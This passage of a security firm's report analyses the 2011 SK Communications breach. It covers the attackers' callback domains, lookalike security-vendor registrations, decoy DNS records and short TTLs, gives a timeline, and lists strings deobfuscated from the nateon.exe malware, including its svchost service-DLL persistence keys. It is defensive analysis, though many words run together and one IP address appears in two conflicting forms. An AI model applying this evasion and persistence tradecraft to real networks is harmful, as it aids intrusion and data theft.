This is not an indication that the Google IP address is compromised, and the Google IP address is unlikelytobe compromised.
The Google IP address is likely only used to indicate thatthe attacker has noinstructions for the malware or toinstruct the malware tocontinue with preprogrammed behaviour.
The malware likelyhas logicbuiltin whichprevents itfromcommunicating with the Google IP address.
Use of the Google IP address would likely achieve the attackers desired outcome in a similar wayto use ofa local loopback IP address.
Itwould, however, be less likely to flag the activity tonetwork defenders42.
It isalsopossible the Google IP address is used tochannel covert communications to the command 41 The command and control servers of dozens of pieces of malware have used IP addresses within the IP address range 116.127.121.0/24.
(
Malc0de.com n.d.)
42 Use of legitimate IP addresses in combination with preprogramed logic to prevent a communication with command and control infrastructure is a much less common indicator of maliciousactivity than use of a local loopbackIPaddress for the same purpose.
andcontrol server over the DNSprotocol43,in effect, using Google as a voluntary waypoint without actuallycompromising Googles infrastructure.
Eachof the three callback domains has a Time ToLive (TTL) 44 of 30 minutes, allowing the attackers to rapidly change the command and control server pointedtobythe callback domain.
Registration Information The domain duamlive.com was registered on 21 May2011.
It was registered bya GuangmingWang.
There is a large number of domain registrations (approximately 400) associated with Guangming Wang, possibly indicating that the domains were registered by an intermediary.
The domain alyac.org was registered on 24 September 2010.
The domain registration information is almost identical to that of the legitimate ESTsoftdomain alyac.com.
The domain is not, however, associated with the ALYac antivirus software and does not appear to be associated with ESTsoft at all.
The title of the website previously hosted at alyac.org was associated with finance, insurance and cell phones and not antivirus software45.
At the time of writing, the malicious domain alyac.org points to the Google IPaddress 8.8.8.8 but previously pointed to South Korean IP address 222.122.20.241.
Other probable malicious domains following a similar pattern to alyac.org (whereby they disguise themselves as being associated with legitimate software companies) have alsopointedto the same SouthKorean IP address.
These include the domains trendmicros.net, nprotects.org and bomuls.com.
The domain trendmicros.net was purportedly registered by Trend Micro Inc.
The registration details are almost identical to that of the legitimate domain trendmicro.com.
The domain, however, appears to have nothing to do with the security company.
The malicious domain nprotects.org is similar to that of the legitimate security company 43 The malware could use a similar technique to software suchas iodine.
(
Kryo, 2010) 44 The TTLof a domain in a DNS recordrefers to the duration for whichthe DNS resultcan be cached.
45 A webpage previously hostedat alyac.orghad a title of Cash Advance Debt Consolidation  Insurance  Free Credit Report Cell Phonesat alyac.org.
(
Domain Tools, LLC, 2011) OF24 COPYRIGHTCOMMAND FIVE PTYLTD.
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nProtect (nprotect.com) butagain, does not appear tobe associatedwiththe company.
The domain has previouslybeen associatedwith malware known as Trojan.
Win32.Generic 46 .
Similarly the domain bomuls.com is not dissimilar to that of the legitimate software companywhose website resides atbomul.com.
(
ETnews,2011) The domains referencedabove are summarised in Table 1.
DOMAIN SUBDOMAIN IP ADDRESS(ES) DUAMLIVE.COM  127.0.0.1 NATEON.
121.78.237.135(KR) 127.0.0.1 FR.
121.78.237.135(KR) 127.0.0.1 ALYAC.ORG  222.122.20.241(KR) 8.8.8.8 (US) UPDATE.
202.30.224.240(KR) 8.8.8.8 (US) PATH.
8.8.8.8 (US) WWW.
8.8.8.8 (US) NPROTECTS.ORG  222.122.20.241(KR) FILE1.
222.122.20.241(KR) PC.
220.90.209.157(KR) 222.122.20.241(KR) TRENDMICROS.NET  222.122.20.241(KR) DOWNLOAD.
222.122.20.241(KR) BBS.
222.122.20.241(KR) BOMULS.COM  66.249.89.104(US) 222.122.20.241(KR) 98.126.8.230(US) DOWNLOAD.
222.122.20.241(KR) FORUM.
222.122.20.241(KR) IndicatesIPaddress assigned at time of writing.
TABLE 1  SUMMARY OF REFERENCED DOMAINS 46 Malware detectedasTrojan.
Win32.Genericin May 2011 used the callbackdomain pc.nprotects.org.
(
GFI SandBox, 2011) The domain diggfunny.com was registered on 14April 2011 by a Lee Cooper.
The same registrant details were usedtoregister several other domains.
These domains include edsplan.com, ezxsoft.com, finalcover.com,mindplat.com, projectxz.com,and soucesp.com  all of which were registered on 14 April 2011.
The domains daumfan.com and natefan.com were also registered by Lee Cooper, but on 25 July 2011, the day before the hacking operation against the Nate and CyWorld user databases.
The same registrant details were purportedly used to register an additional seven domains.
Each of these domains has a TTL of 30 minutes.
(Domain Tools,LLC,2011) At the time of writing none of the above domains registered by Lee Cooper point to a malicious IP address.
The domain natefan.com points to the Google IP address 8.8.8.8, daumfan.com points to the Enom Inc47 IP address 8.5.1.42, finalcover.com points to the private IP address 192.168.10.132 and none of diggfunny.com, ezxsoft.com, edsplan.com, mindplat.com, projectxz.com or soucesp.com currently point to an IP address.
This suggests the domains are not currently in use, however, at least one subdomain appears to be in current use as shown in Table 2.
47 Enom Inc is a legitimate domain name registrar used by the attackersto register domain namesandalso to host webpages.
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DOMAIN SUBDOMAIN IP ADDRESS(ES) DAUMFAN.COM  8.5.1.8 (US) 8.5.1.42 (US) WWW.
8.5.1.8 (US) 8.5.1.42 (US) DIGGFUNNY.COM  8.8.8.8 (US) RO.
116.127.121.109(KR) WWW.
8.8.8.8 (US) 61.19.250.219(TH) EDSPLAN.COM  64.74.223.10 (US) ITT.
127.0.0.1 EZXSOFT.COM BBS.
202.30.224.240(KR) 8.8.8.8 (US) FINALCOVER.COM  192.168.10.132 I.
69.197.132.132(US) 127.0.0.1 T. 218.213.229.69 (HK) 218.213.229.68 (HK) MINDPLAT.COM  64.74.223.48 (US) CACHE.
8.8.8.8 (US) NATEFAN.COM  8.8.8.8 (US) PROJECTXZ.COM  8.5.1.11 (US) ITT.
202.181.170.67 (HK) 8.8.8.8 (US) SOUCESP.COM  61.82.71.30 (KR) 127.0.0.1 IndicatesIPaddress assigned at time of writing.
TABLE 2  DOMAINS REGISTERED BY LEE COOPER Several of the domains registered by Lee Cooper previously pointed to webpages.
The domain mindplat.com previously pointed to an Enom Inc. server whichhosteditswebpage.
The title andmeta description of the mindplat.com website isalmost identical to thatof the alyac.org website.
Bothwebsites follow the template shown in Figure 3.The same template has alsobeen usedfor several other webpages and may merely be a template provided by a service provider used by the registrants.
The domains natefan.com and projectxz.com alsopreviouslypointed to webpages.
The webpages were similar to the mindplat.com and alyac.org webpages but with different text.
Again, these webpages use the same template as other webpages andmaymerelybe providedbya service provider.
The presence of these webpages may indicate an attempt by the attackers to make the malicious domains appear more legitimate.
FIGURE 3  EXAMPLE OF WEBPAGE TEMPLATE USED SIMILARITIES TO OTHERMALWARE As previously discussed, the domain ro.diggfunny.com is associated with malicious activity.
The domains cache.mindplat.com and bbs.ezxsoft.com are also known to be associated with malware.
The first is listed as a malicious domain48 and the second was used as a callback domain by malware known as Trojan.
Win32.AgentBypass 49 .
The domain bbs.ezxsoft.com also previously pointed to the same SouthKorean IP address as update.alyac.org (IPaddress 202.30.224.240),further linkingittothe attackers responsible for the hack into SK Communications.
Even if ignoring the connection they bothhave tothe domain alyac.org,the twopieces ofmalware named Trojan.
Win32.Generic and Trojan.
Win32.AgentBypass respectively (earlier referenced) are still linked.
Bothpieces of malware create a uniquely named directory50, as do at least three other pieces of malware (summarised in Annex B).
This further links the domains nprotects.org and ezxsoft.com, and suggests this malware, along with the callback domains,may be part of a broader, concerted effort by the same attackers.
48 The domain cache.mindplat.com is listed alongside ro.diggfunny.com in a list of malicious web addresses.
(
CEOinIRVINE 2011).
49 Malware detected as Trojan.
Win32.AgentBypass in mid July 2011 used the callback domain bbs.ezxsoft.com.
(
GFI SandBox 2011) 50 Malware analysis reports indicate both pieces of malware create a directory named03a075fb70d5d675f9dc26fcinside the system directory and a subdirectory named update.
(
GFI SandBox 2011) (GFI SandBox, 2011) Title CashAdvanceDebtConsolidationInsuranceFreeCredit ReportCellPhonesdomain MetaDescription FindCashAdvance,DebtConsolidationandmoreat domain.
Get thebestofInsurance orFreeCreditReport,browseoursection onCellPhonesorlearnaboutLifeInsurance.
Domain isthe site forCashAdvance.
OF24 COPYRIGHTCOMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
TIMELINE INSIGHTS Attackers will conductreconnaissance on their targets andconsider all sorts of targeting options (both directandindirect).
Attackers maytargeta companyin order to use it as a launchpad togain access to other targets, as demonstratedbythe targeting ofESTsofts ALZipupdate server.
Attackers can conductselective targeting choosingwhichcomputers download malicious content andwhich donot, as they appear tohave done withthe ALZipupdate server.
Even though two computers maysubmitan identical requestfor a file (or webpage), theymaynotgetthe same file (or webpage) back in response.
Thisbehaviour reduces the likelihoodofmalware unintentionally going viral.
Unfortunatelyitalsohampers investigations by network defenders who mayassess a file (or webpage) to be safe, when it isnotsafe toall users.
Attackers mayhack a computer for the sole purpose ofusingit as a waypoint or as an intermediarylocation fromwhere they can store and access their tools without suspicion from their targets.
Thisappears to have been the case withthe use of the Cite Media Holding Groupwebserver and the Nonhyeongbased waypoint, although itis possible they were initiallyhackedfor another reason.
Attackers mayuse the same registration information toregister multiple domain names.
Suchappears tohave been the case withthe domains registered byLee Cooper.
Attackers mayregister domains containing words thatare expectedtomake them appear less suspicious totargets.
Suchas withthe use ofnateonand alyac in the callback domains usedbyinfected SK Communications computers.
Attackers mayuse seeminglylegitimate registration information toregister domain names.
Suchappears tohave been the case withthe registration ofalyac.org and trendmicros.net.
Users shouldbe waryof domains which appear tobe legitimate butare not.
Suchas alyac.org instead ofalyac.com, 18July2011 Onorpriortothisdateattackers compromisetheESTSoftALZipupdate server.
1825July2011 NumerousSKCommunicationscomputers becomeinfectedduringroutineALZip softwareupdates.
Attackersusetheirnew accesstodownloadtoolsandpreparefor targetingoftheuserdatabase.
25July2011 Thedomainsdaumfan.com, and natefan.comareregistered.
14April2011 Thedomaindiggfunny.comisregistered alongwithotherdomains.
24September2010 Thedomainalyac.orgisregistered.
21May2011 Thedomainduamlive.comisregistered.
26 28July2011 Theattackersusenateon.exemalwareand thecallbackdomainsnateon.duamlive.com andro.diggfunny.comtoaccessSK CommunicationsNateandCyWorlduser databases,stealingthepersonaldetailsof upto35millionusers.
27September2010 TheDestoryRATiscompiled.
OF24 COPYRIGHTCOMMAND FIVE PTYLTD.
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trendmicros.net insteadof trendmicro.com, nprotects.org insteadof nprotect.com and bomuls.com insteadof bomul.com.
Even though itisrelativelyeasytocreate newinfrastructure,attackers sometimes reuse infrastructure.
For example,the domains bbs.ezxsoft.com and update.alyac.org both previouslypointed toIPaddress 202.30.244.240,and alyac.org,trendmicros.net, nprotect.org andbomuls.com all pointed toIP address 222.122.20.241.
The TTL ofdomains (in DNS records) controlledby attackers are often setto low values (suchas 30minutes) allowingthe attackers torapidlychange the command andcontrol server pointedtoby a callback domain.
Thisfacilitates relatively uninterrupted access toa targetwhen commandandcontrol infrastructure becomes blocked or isotherwise unavailable.
The use oflegitimate domains for malicious purposes,familiar wordsin domain names andof nonmalicious IPaddresses in DNS recordsfor malicious domains,can make detection of malicious activitymore difficult andcause network defenders todismiss malicious activity(in network/systemlogs or Intrusion Detection Systemalerts, in particular) as legitimate.
Adding malicious IPaddresses and domains toblacklists can helppreventmalicious activity,however, attackers can respondby merelyusingalternate infrastructure and/or callback domains.
Domains andIP addresses mayhave legitimate purposes tooandblacklisting them mayalsoblock legitimate business.
Blacklists shouldbe reviewedperiodically toensure theyare notblockinglegitimate business unnecessarily.
Whitelists are generallymuchmore effective than blacklists,however, even whitelists can allowmalicious activityto occurtolegitimate sites that have been compromised.
For example, as a good securitypractice,most system administrators wouldhave allowedaccess tothe ALZipupdate server if they hadALZip software installedon their network.
Similarly,if a whitelist were employedon the targeted network but users had a legitimate need toaccess the website ofthe Taiwanese publishingcompany,the attacker wouldlikelystill have been able to access their toolbox.
Users andnetwork administrators need to continuallyreassess who andwhatthey truston the Internetgiven thattrust relationships can be,and increasinglyare, exploited for malicious purposes.
DISCLAIMER Machine translation software has been heavilyreliedon throughoutthe development of this paper.
While data has been verified against multiple sources, where possible, Command Five Pty Ltd does not guarantee the veracity of sources or the accuracy of translation and interpretation.
Command Five Pty Ltd reminds readers to exercise caution when visiting untrusted websites and/or opening untrusted digital documents.
Command Five Pty Ltd does not warrant that the websites referencedin this paper are trustworthy.
OF24 COPYRIGHTCOMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
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ALL RIGHTS RESERVED.
ANNEX A LISTOFDEOBFUSCATED STRINGS FOUNDWITHIN NATEON.EXE Strings inside nateon.exe are stored in an obfuscatedform and only deobfuscated as,andwhile, theyare needed.
Thistable contains a complete list of deobfuscated strings extracted duringstatic binaryanalysisof the malicious file.
For each string, two addresses are provided  the Code Address and the ObfuscatedAddress.
The Code Address is the address, in code, fromwhich the stringdeobfuscation isrequested.
Thisaddress can be usedto efficiently identify wrapper functions that dynamically import system APIs (such as those used for network communications),as well as tolocate interestingparts of the malware.
The ObfuscatedAddress isthe address,in data,where the obfuscatedstringisstored.
For readability, the strings presented in the Deobfuscated String column have been converted from their original formats.
Some ofthe strings are storedinside nateon.exe as 8bit character strings andsome as 16bit wide character strings.
Nonprintable characters have been escapedas hexadecimal values in the form\xHH or \uHHHH.
Trailing null (\x00) characters are not shown.
Standard escape sequences such as \n (newline) and\r (carriage return) are alsousedtoimprove readability.
CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING 10001022 100220C0 LocalFree 10001071 100220CC GetOEMCP 100010BB 100220D8 GetCommandLineW 10001105 100220EC GetCurrentProcess 1000114F 10022100 Sleep 1000119E 10022108 ExitProcess 100011EA 10022118 TerminateProcess 1000123B 1002212C lstrcmpiW 1000128D 10022138 WaitForSingleObject 100012DF 10022160 SetEvent 1000132E 1002216C GetLastError 10001378 100221B0 CommandLineToArgvW 100013F5 10022150 TlsSetValue 10001761 100221C4 SeDebugPrivilege 100017A2 100221E8 SeTcbPrivilege 10001A97 1002217C SetServiceStatus 10001B6A 10022208 SMI51 10001BD6 10022214 SMU 10001C47 10022220 SMRAC 10001C8A 10022230 SMRACU 10001DA0 10022190 RegisterServiceCtrlHandlerExW 10003AD9 10022240 GetProcessHeap 10003B23 1002225C HeapFree 10003B8F 10022250 HeapAlloc 10003C64 10022268 FreeLibrary 10003CCD 10022278 ntdll.dll52 10003D03 10022284 kernel32.dll 51 SMI, SMU, SMRAC, SMRACU are the operating modes of nateon.exe.
(
Hauri  Response Team, 2011) 52 The strings with suffix .dll identify modules loaded dynamically by the malware.
CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING 10003D46 10022294 user32.dll 10003D8A 100222A0 advapi32.dll 10003DC9 100222B0 gdi32.dll 10003E09 100222BC ws2_32.dll 10003E4C 100222C8 shell32.dll 10003E90 100222D8 shlwapi.dll 10003ED2 100222E8 psapi.dll 10003F12 100222F4 mpr.dll 10003F52 10022300 wtsapi32.dll 10003F88 10022310 version.dll 10003FC8 10022320 msvcrt.dll 10004008 1002232C wininet.dll 10004048 1002233C sfc.dll 10004089 10022348 odbc32.dll 100040C8 10022354 ole32.dll 10004101 10022360 iphlpapi.dll 10004151 10022370 wsprintfA 10004192 1002237C wsprintfW 100047B7 10022388 lstrlenA 10004806 10022394 lstrlenW 10004855 100223A0 MultiByteToWideChar 100048B2 100223B8 WideCharToMultiByte 10004913 100223D0 memcpy 10004969 100223D8 memset 10004FC9 100223E0 InitializeCriticalSection 10005035 100223FC DeleteCriticalSection 100050C5 10022414 SetErrorMode 10005109 10022424 SeDebugPrivilege 10005137 10022448 SeTcpPrivilege 100054DE 1002285C EnumServicesStatusW OF24 COPYRIGHTCOMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING 100056C8 100228A4 QueryServiceConfig2W 10005854 10022C34 CompanyName 1000589F 10022C50 100058DC 10022C58 FileDescription 10005927 10022C00 1000596E 10022C7C FileVersion 100059B9 10022C98 100059F5 10022CA0 ProductName 10005A40 10022774 10005A8C 10022CBC ProductVersion 10005AD7 10022CDC 10006021 10022468 CloseHandle 10006070 1002249C GetDiskFreeSpaceExW 100060C8 100224B4 GetVolumeInformationW 1000612A 100224CC CreateDirectoryW 1000617B 100224E0 CreateFileW 100061DB 100224F0 GetFileSize 1000622D 10022500 GetFileTime 10006285 10022510 WriteFile 100062E0 1002251C ReadFile 1000633B 10022528 SetEndOfFile 1000638A 10022538 SetFileTime 100063E2 10022548 SetFilePointer 1000643A 10022558 FindFirstFileW 1000648C 10022568 FindNextFileW 100064DE 10022578 FindClose 1000652D 10022584 FlushFileBuffers 1000657C 10022598 lstrcpyW 100065D0 100225A4 CreateProcessW 10006631 100225C8 memcmp 10006766 10022478 QueryDosDeviceW 100067B9 100225D0 \Device\Floppy\x00\uA4BC \u5CD1 100067D3 100225D0 \Device\Floppy\x00\uA4BC \u5CD1 10006862 1002248C GetDriveTypeW 10006941 100225F0 s 10006990 100225F8 s 10006AC7 10022600 .
100076E4 100225B4 SHFileOperationW 10007ACC 1002263C WNetCloseEnum 10007CD5 10022618 WNetOpenEnumW 10007DE6 10022628 WNetEnumResourceW 10007F65 10022650 s 10007FB7 10022658 s 10007FFC 10022660 s 1000804F 10022668 s 100081E5 10022670 GetVersionExW 1000825D 10022718 SetTcpEntry CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING 100084B0 10022774 10008503 1002277C 10008544 10022764 System 1000856D 10022754 System 10008596 10022728 System Idle Process 1000875B 100226F8 GetTcpTable 1000884E 10022680 AllocateAndGetTcpExTableFrom Stack 100088F8 100226C8 GetExtendedTcpTable 10008B17 100227D0 10008B5F 100227D8 10008B99 100227C0 System 10008BC2 100227B0 System 10008BEB 10022784 System Idle Process 10008DC4 10022708 GetUdpTable 10008E9C 100226A4 AllocateAndGetUdpExTableFrom Stack 10008F46 100226E0 GetExtendedUdpTable 10008FDE 100227E0 WaitForMultipleObjects 100093DD 100227F8 GetIconInfo 1000942F 10022808 DestroyIcon 1000947E 10022818 OpenProcess 100094D2 10022828 OpenSCManagerW 10009525 10022838 OpenServiceW 1000957A 10022848 CloseServiceHandle 100095C9 10022874 QueryServiceConfigW 10009623 1002288C ChangeServiceConfigW 10009683 100228BC DeleteService 100096D2 100228CC StartServiceW 10009725 100228DC ControlService 10009779 100228EC CreateDCW 100097CE 100228F8 GetDIBits 1000982C 10022904 DeleteDC 1000987B 10022910 DeleteObject 100098CA 10022920 ExtractIconExW 10009923 10022930 EnumProcesses 10009978 10022940 EnumProcessModules 100099D0 10022954 GetModuleFileNameExW 10009A28 10022984 SfcIsFileProtected 10009D14 10022A24 10009D42 10022A2C 10009D7E 100229F8 NT AUTHORITY 10009DAD 10022A14 SYSTEM 10009DD6 100229CC NT AUTHORITY 10009E05 100229E8 SYSTEM 10009E39 100229A0 NT AUTHORITY 10009E6B 100229BC SYSTEM 10009ECA 10022A80 10009F13 10022A70 System OF24 COPYRIGHTCOMMAND FIVE PTYLTD.
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CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING 10009F42 10022A60 System 10009F6E 10022A34 System Idle Process 10009F9A 10022A88 CompanyName 10009FDB 10022AA4 1000A020 10022AAC FileDescription 1000A064 10022A24 1000A0A9 10022AD0 FileVersion 1000A0ED 10022AEC 1000A131 10022AF4 ProductName 1000A175 10022998 1000A1AF 10022B10 ProductVersion 1000A1F3 10022B30 1000A730 1002296C GetModuleInformation 1000A7CC 10022B38 1000A805 10022B40 \?
?\\x00\uFC04\uF06C 1000A859 10022B4C \SystemRoot\\x00\u7C84 \u98E4 1000A8AE 10022B68 \\x00\uFFFD 1000A919 10022B70 CompanyName 1000A95B 10022B8C 1000A999 10022B94 FileDescription 1000A9D8 10022BB8 1000AA13 10022BC0 FileVersion 1000AA52 10022BDC 1000AA8E 10022BE4 ProductName 1000AAD0 10022C00 1000AB0E 10022C08 ProductVersion 1000AB50 10022C28 1000B445 10022CE4 DISPLAY 1000B6A3 10022CF8 SYSTEM\CurrentControlSet\Serv ices\\x00\u90A0 1000B6DB 10022D40 \Parameters\x00\u3858 1000B70E 10022D5C ServiceDll 1000B77F 10022D74 RegOpenKeyExW 1000B7DD 10022D84 RegCreateKeyExW 1000B83D 10022D98 RegQueryValueExW 1000B899 10022DAC RegSetValueExW 1000B8F8 10022DBC RegEnumKeyExW 1000B953 10022DCC RegCloseKey 1000B9A2 10022DDC SHCopyKeyW 1000B9F9 10022E08 SHDeleteKeyW 1000BA4B 10022E18 SHDeleteValueW 1000BAA0 10022E28 SHGetValueW 1000BE37 10022DE8 SHEnumKeyExW 1000C492 10022DF8 SHEnumValueW 1000CAFB 10022E38 VirtualAlloc 1000CB53 10022E48 VirtualFree 1000CBA9 10022E58 GetProcessWindowStation 1000CBF3 10022E88 SetProcessWindowStation CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING 1000CC42 10022EA4 CloseWindowStation 1000CC91 10022EB8 OpenInputDesktop 1000CCE4 10022ECC SetThreadDesktop 1000CD33 10022EE0 GetThreadDesktop 1000CD82 10022EF4 CloseDesktop 1000CDD1 10022F04 SetCursorPos 1000CE23 10022F44 GetCurrentThreadId 1000CE6D 10022F58 CreateThread 1000CEC8 10022F68 CreateCompatibleDC 1000CF17 10022F7C CreateDIBSection 1000CF72 10022F90 SetDIBColorTable 1000CFC9 10022FA4 GdiFlush 1000D013 10022FB0 GetDeviceCaps 1000D067 10022FC0 BitBlt 1000D0C9 10022FC8 SelectObject 1000D136 10022FD8 DISPLAY 1000DB81 10022FEC DISPLAY 1000DE8A 10023000 DISPLAY 1000E3BE 10023014 DISPLAY 1000E9AB 10022F34 PostMessageA 1000EA13 10022F24 keybd_event 1000EA8B 10022F14 mouse_event 1000EB1C 10023028 WinSta0 1000EB3F 10022E74 OpenWindowStationW 1000EC3C 1002303C GetTickCount 1000EC86 1002304C ConnectNamedPipe 1000ECD8 10023060 CreateNamedPipeW 1000ED3F 10023074 GetOverlappedResult 1000ED96 1002308C CreateEventW 1000F0CF 1002309C \\.\pipe\ad\x00\u3CC4 \u3C18\u9C08\u3C8A 1000F2B1 100230B8 \\.\pipe\bd\x00\u7080 \u0C17\u4C49\uEC10 1000F38F 100230D4 CMD.EXE 1000FC7B 100230E8 SQLAllocHandle53 1000FCD0 100230F8 SQLSetEnvAttr 1000FD2A 10023108 SQLDriverConnectW 1000FD88 1002311C SQLDisconnect 1000FDD7 1002312C SQLFreeHandle 1000FE29 1002313C SQLExecDirectW 1000FE7D 1002315C SQLNumResultCols 1000FECF 1002319C SQLMoreResults 10010339 10023170 SQLColAttributeW 100104B5 10023184 SQLFetch 1001052B 10023190 SQLGetData 1001057D 100231AC NULL 10010627 1002314C SQLGetDiagRecW 53 The imported functions with an SQL prefix were presumably usedto accessthe SK Communicationsdatabases.
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CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING 10010739 100231DC ExitWindowsEx 1001078A 100231EC InitiateSystemShutdownA 10010808 100231C8 LockWorkStation 100108CC 10023208 SeShutdownPrivilege 100109C8 10023234 SeShutdownPrivilege 10010ACC 10023260 SeShutdownPrivilege 10010D37 100231B8 MessageBoxW 10010D95 100232F0 GetConsoleMode 10010DE7 10023318 SetConsoleCtrlHandler 10010E3B 1002337C SetConsoleScreenBufferSize 10010EC2 10023330 WriteConsoleInputW 10010F47 100232CC GetConsoleCP 10010FC1 100232DC GetConsoleOutputCP 10011044 10023300 GetConsoleDisplayMode 10011096 100233AC GetConsoleCursorInfo 1001110F 10023360 GetConsoleScreenBufferInfo 1001134D 10023398 ReadConsoleOutputW 10011617 100233D4 CMD 10011643 100233E0 1001166F 100233E8 /Q 100116A3 100232A8 AllocConsole 100116F3 100232B8 GetConsoleWindow 10011738 1002328C ShowWindow 100117A2 10023298 GetStdHandle 10011AE2 100233C4 FreeConsole 10011CAA 100233F0 CONIN 10011D3A 10023344 GenerateConsoleCtrlEvent 10011E6D 10023400 CONIN 10011EAD 10023410 CONOUT 10011F88 10023424 CreateWindowExW 10011FE7 10023438 SetWindowLongW 1001203D 10023448 DestroyWindow 1001208C 10023458 TranslateMessage 100120DB 1002347C SetTimer 10012136 10023488 KillTimer 10012188 100234A4 DispatchMessageW 100121D7 100234F8 WTSUnRegisterSessionNotificati on 100122CB 10023494 PeekMessageW 10012379 1002351C static 1001255F 100234D8 WTSRegisterSessionNotification 10012687 100234B8 MsgWaitForMultipleObjectsEx 10012779 1002346C DefWindowProcW 10012C0D 1002356C QueryPerformanceCounter 10012C5C 1002359C GetFileAttributesW 10012CAB 100235B0 ExpandEnvironmentStringsW 10012D00 100235CC GetModuleFileNameW 10012D55 100235E0 OpenProcessToken 10012DAA 100235F4 GetLengthSid CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING 10012DF9 10023604 GetTokenInformation 10012E54 10023630 LookupPrivilegeValueW 10012EA8 10023648 AdjustTokenPrivileges 10012F02 100236B4 GetFileVersionInfoW 10012F59 100236CC VerQueryValueW 100130F1 1002353C GetWindowsDirectoryW 10013158 10023554 GetSystemDirectoryW 100132AD 10023588 GetComputerNameW 1001337D 10023660 GetUserNameW 10013445 10023748 CLSID 10013465 10023758 SOFTWARE\CLASSES\SAFEGUI \x00\u40F0\u380B54 100134D4 1002378C CLSID 100134EA 10023758 SOFTWARE\CLASSES\SAFEGUI \x00\u40F0\u380B 1001357C 1002352C GetSystemTime 100136DC 100237A0 2.2X2.2X2.2X2.2X2.2X 2.2X2.2X2.2X 10013749 100237F4 ALLUSERSPROFILE 100137C6 10023820 \DocumentsandSettings\All Users\x00\uC030\u0848  10013807 10023868 \DocumentsandSettings\All Users\x00\u78D8\u6090  1001384C 100238B0 \DocumentsandSettings\All Users\x00\u3818\u20D0  1001389A 100238F8 \ProgramData\x00\uE8A8 100138D8 10023914 \ProgramData\x00\uFFFD 10013907 10023930 \\x00\uB898 10013B54 10023938 \.\x00\u140C 10013E1F 10023944 .EXE 10013EFB 10023950 .EXE 1001404B 1002395C \?
?\\x00\u742C\uCC38 1001409E 10023968 \SystemRoot\\x00\u0808 \u5834 100140F1 10023984 \\x00\u18B8 10014219 1002361C LookupAccountSidW 100143AE 10023670 WTSEnumerateProcessesW 10014461 10023688 WTSFreeMemory 100144FB 10023698 GetFileVersionInfoSizeW 1001459E 1002398C \VarFileInfo\Translation\x00 \uEC54\u2C48 10014605 100239C0 \StringFileInfo\4.4X4.4X\s \x00\uF8D8\uE090\u2 379 10014992 10023A00 IsWow64Process 54 The unusual hardcoded registry key SOFTWARE\CLASSES\SAFEGUI can be used to link nateon.exe with the malware that hasthe MD5hash 6C6A DBD0 8727 6AE8 9F82 6258 2798 B708 and calls back to the domain expre.dyndns.tv on TCP port 443.
It may also be used as a signature to identify other similar malware.
(
GFI SandBox, 2011) OF24 COPYRIGHTCOMMAND FIVE PTYLTD.
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CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING 100149F5 10023A10 GetCurrentProcessId 10014A3F 10023A28 ProcessIdToSessionId 10014A91 10023A40 DuplicateTokenEx 10014AEE 10023A54 SetTokenInformation 10014B46 10023A98 CreateProcessAsUserW 100151CE 10023AB0 .DLL 10015202 10023ABC RUNDLL32.EXE 1001522E 10023ADC \x00\u6010 10015268 10023AE4 \\x00\u3080 100152A0 10023AEC  \x00\u6868 100152CC 10023AF4 RqSkce 100152F8 10023B04 10015324 10022220 SMRAC 100153FC 10023B0C UserEnv.dll 1001542A 10023B1C CreateEnvironmentBlock 10015456 10023B34 DestroyEnvironmentBlock 100155C1 10023B50 .DLL 1001561B 10023B5C RUNDLL32.EXE 10015656 10023B7C \x00\u843C 1001569E 10023B84 \\x00\u68A8 100156EF 10023B8C  \x00\uCCF4 10015722 10023AF4 RqSkce 1001575D 10023B04 10015790 10022230 SMRACU 100157E1 10023A6C ImpersonateLoggedOnUser 1001586B 10023A88 RevertToSelf 10015943 10023B94 WTSGetActiveConsoleSessionId 10015C5E 10023BB4 NT AUTHORITY 10015D15 10023BF0 MoveFileExW 10015D68 10023C00 GetModuleHandleA 100160D5 10023C28 SystemRoot\system32\sv chost.exe k LocalService\x00\uBC64 \uD4CC55 10016108 10023C90 SYSTEM\CurrentControlSet\Serv ices\x00\u54AC\u8C34 10016138 10023CD8 \\x00\uC4FC 10016183 10023CE0 \Parameters\x00\uA8A8 100161C2 10023CFC LocalService 10016267 10023D18 ServiceDll 100162B6 10023AF4 RqSkce 100162C8 10023AF4 RqSkce 100162E3 10023D30 ServiceMain 10016389 10023D4C LocalService 100163EF 10023D68 .DLL 1001642B 10023D74 \\x00\u344C 1001649E 10023D7C RUNDLL32.EXE 100164D0 10023D9C \x00\u8070 55 The nateon.exe dropper configureswinsvcfs.dll to run inside the trustedoperatingsystem process svchost.exe.
CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING 10016519 10023DA4  \x00\u74AC 1001654C 10023AF4 RqSkce 10016582 10023DAC 100165BE 10022208 SMI 100165FD 10023DB4 1001663B 10023DBC \x00\u14EC 10016691 10023DC4 \x00\u28E8 1001689E 10023BE0 DeleteFileW 100169F3 10023C14 GetModuleFileNameA 10016A4A 10023BD0 CreateFileA 10016DAA 10023DEC QueryServiceStatusEx 10016E03 10023E04 ChangeServiceConfig2W 10016E59 10023E1C CreateServiceW 1001779C 10023E30 SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost\x0 0\uA8E8\uC40C\uFFFD \u9050 1001791E 10023E9C 10017956 10023E30 SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost\x0 0\uA8E8\uC40C\uFFFD \u9050 10017A37 10023E30 SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost\x0 0\uA8E8\uC40C\uFFFD \u9050 10017BE1 10023EA0 10017C10 10023E30 SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost\x0 0\uA8E8\uC40C\uFFFD \u9050 10017C5F 10023EA4 VirtualAllocEx 10017CBC 10023EB4 VirtualFreeEx 10017D15 10023EC4 WriteProcessMemory 10017D74 10023EEC GetWindowThreadProcessId 10017DC6 10023F18 GetExitCodeThread 10017E18 10023F48 EqualSid 10017E6A 10023F54 FreeSid 10017EB9 10023F60 